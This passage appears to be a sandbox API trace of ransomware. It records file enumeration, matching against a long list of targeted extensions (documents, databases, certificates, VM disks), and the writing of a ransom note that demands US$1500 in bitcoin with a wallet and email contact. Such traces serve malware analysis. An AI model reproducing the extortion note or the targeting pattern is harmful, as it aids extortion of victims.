pszSpec="*.htm") returned 0 [0108.967] lstrlenA (lpString="*.htm") returned 5 [0108.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.xlsx") returned 0 [0108.967] lstrlenA (lpString="*.xlsx") returned 6 [0108.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.xls") returned 0 [0108.967] lstrlenA (lpString="*.xls") returned 5 [0108.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.mp4") returned 0 [0108.967] lstrlenA (lpString="*.mp4") returned 5 [0108.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.ppt") returned 0 [0108.967] lstrlenA (lpString="*.ppt") returned 5 [0108.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.pptx") returned 0 [0108.967] lstrlenA (lpString="*.pptx") returned 6 [0108.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.doc") returned 0 [0108.967] lstrlenA (lpString="*.doc") returned 5 [0108.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.dot") returned 0 [0108.968] lstrlenA (lpString="*.dot") returned 5 [0108.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.docx") returned 0 [0108.968] lstrlenA (lpString="*.docx") returned 6 [0108.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.7z") returned 0 [0108.968] lstrlenA (lpString="*.7z") returned 4 [0108.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.tar") returned 0 [0108.968] lstrlenA (lpString="*.tar") returned 5 [0108.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.bz2") returned 0 [0108.968] lstrlenA (lpString="*.bz2") returned 5 [0108.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.gz") returned 0 [0108.968] lstrlenA (lpString="*.gz") returned 4 [0108.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.mkv") returned 0 [0108.968] lstrlenA (lpString="*.mkv") returned 5 [0108.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.eml") returned 0 [0108.968] lstrlenA (lpString="*.eml") returned 5 [0108.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.msg") returned 0 [0108.968] lstrlenA (lpString="*.msg") returned 5 [0108.968] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.edb") returned 0 [0108.969] lstrlenA (lpString="*.edb") returned 5 [0108.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.accdb") returned 0 [0108.969] lstrlenA (lpString="*.accdb") returned 7 [0108.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.odb") returned 0 [0108.969] lstrlenA (lpString="*.odb") returned 5 [0108.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.java") returned 0 [0108.969] lstrlenA (lpString="*.java") returned 6 [0108.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.asm") returned 0 [0108.969] lstrlenA (lpString="*.asm") returned 5 [0108.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.pfx") returned 0 [0108.969] lstrlenA (lpString="*.pfx") returned 5 [0108.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.pem") returned 0 [0108.969] lstrlenA (lpString="*.pem") returned 5 [0108.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.p12") returned 0 [0108.969] lstrlenA (lpString="*.p12") returned 5 [0108.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.gpg") returned 0 [0108.969] lstrlenA (lpString="*.gpg") returned 5 [0108.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.vsd") returned 0 [0108.969] lstrlenA (lpString="*.vsd") returned 5 [0108.969] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.odg") returned 0 [0108.970] lstrlenA (lpString="*.odg") returned 5 [0108.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.raw") returned 0 [0108.970] lstrlenA (lpString="*.raw") returned 5 [0108.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.nef") returned 0 [0108.970] lstrlenA (lpString="*.nef") returned 5 [0108.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.svg") returned 0 [0108.970] lstrlenA (lpString="*.svg") returned 5 [0108.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.psd") returned 0 [0108.970] lstrlenA (lpString="*.psd") returned 5 [0108.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.vmx") returned 0 [0108.970] lstrlenA (lpString="*.vmx") returned 5 [0108.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.vmdk") returned 0 [0108.970] lstrlenA (lpString="*.vmdk") returned 6 [0108.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.vdi") returned 0 [0108.970] lstrlenA (lpString="*.vdi") returned 5 [0108.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.lay6") returned 0 [0108.970] lstrlenA (lpString="*.lay6") returned 6 [0108.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.mpeg") returned 0 [0108.970] lstrlenA (lpString="*.mpeg") returned 6 [0108.970] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.djvu") returned 0 [0108.970] lstrlenA (lpString="*.djvu") returned 6 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.tiff") returned 0 [0108.971] lstrlenA (lpString="*.tiff") returned 6 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.backup") returned 0 [0108.971] lstrlenA (lpString="*.backup") returned 8 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.pdf") returned 0 [0108.971] lstrlenA (lpString="*.pdf") returned 5 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.cert") returned 0 [0108.971] lstrlenA (lpString="*.cert") returned 6 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.docm") returned 0 [0108.971] lstrlenA (lpString="*.docm") returned 6 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.xlsm") returned 0 [0108.971] lstrlenA (lpString="*.xlsm") returned 6 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.dwg") returned 0 [0108.971] lstrlenA (lpString="*.dwg") returned 5 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.nd") returned 0 [0108.971] lstrlenA (lpString="*.nd") returned 4 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.tlg") returned 0 [0108.971] lstrlenA (lpString="*.tlg") returned 5 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.lgb") returned 0 [0108.971] lstrlenA (lpString="*.lgb") returned 5 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.mov") returned 0 [0108.971] lstrlenA (lpString="*.mov") returned 5 [0108.971] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.xdw") returned 0 [0108.972] lstrlenA (lpString="*.xdw") returned 5 [0108.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.ods") returned 0 [0108.972] lstrlenA (lpString="*.ods") returned 5 [0108.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.wav") returned 0 [0108.972] lstrlenA (lpString="*.wav") returned 5 [0108.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.mp3") returned 0 [0108.972] lstrlenA (lpString="*.mp3") returned 5 [0108.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.aiff") returned 0 [0108.972] lstrlenA (lpString="*.aiff") returned 6 [0108.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.flac") returned 0 [0108.972] lstrlenA (lpString="*.flac") returned 6 [0108.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.m4a") returned 0 [0108.972] lstrlenA (lpString="*.m4a") returned 5 [0108.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.csv") returned 0 [0108.972] lstrlenA (lpString="*.csv") returned 5 [0108.972] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa634422, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfa634422, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfa65a583, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x202000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.GPowerShell.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.972] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.973] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37aa5b7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf37aa5b7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf37aa5b7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="9206dc8156588e608d405729c833edc5", cAlternateFileName="9206DC~1")) returned 1 [0108.973] lstrcmpA (lpString1=".", lpString2="9206dc8156588e608d405729c833edc5") returned -1 [0108.973] lstrcmpA (lpString1="..", lpString2="9206dc8156588e608d405729c833edc5") returned -1 [0108.973] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\*.*") returned="*.*" [0108.973] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\", lpString2="9206dc8156588e608d405729c833edc5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5" [0108.973] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5") returned 100 [0108.973] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37aa5b7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf37aa5b7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf37aa5b7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.973] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.973] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37aa5b7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf37aa5b7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf37aa5b7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.974] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.974] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.974] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3712036, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf3712036, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf3712036, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x114200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Commands.Management.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.974] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.974] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.PowerShell.Commands.Management.ni.dll") returned -1 [0108.974] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.PowerShell.Commands.Management.ni.dll") returned -1 [0108.974] lstrcmpiA (lpString1="", lpString2="Microsoft.PowerShell.Commands.Management.ni.dll") returned -1 [0108.974] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\*.*") returned="*.*" [0108.974] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\" [0108.974] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\") returned="" [0108.974] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\HOW TO DECRYPT FILES.txt" [0108.974] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\how to decrypt files.txt")) returned 0xffffffff [0108.974] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.979] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.979] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.981] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.981] CloseHandle (hObject=0x90) returned 1 [0108.981] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\", lpString2="Microsoft.PowerShell.Commands.Management.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll" [0108.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.ems") returned 0 [0108.982] lstrlenA (lpString="*.ems") returned 5 [0108.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.db") returned 0 [0108.982] lstrlenA (lpString="*.db") returned 4 [0108.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.dbf") returned 0 [0108.982] lstrlenA (lpString="*.dbf") returned 5 [0108.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.myox") returned 0 [0108.982] lstrlenA (lpString="*.myox") returned 6 [0108.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.myo") returned 0 [0108.982] lstrlenA (lpString="*.myo") returned 5 [0108.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.qbw") returned 0 [0108.982] lstrlenA (lpString="*.qbw") returned 5 [0108.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.qbb") returned 0 [0108.982] lstrlenA (lpString="*.qbb") returned 5 [0108.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.qbm") returned 0 [0108.982] lstrlenA (lpString="*.qbm") returned 5 [0108.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.qbo") returned 0 [0108.982] lstrlenA (lpString="*.qbo") returned 5 [0108.982] PathMatchSpecA 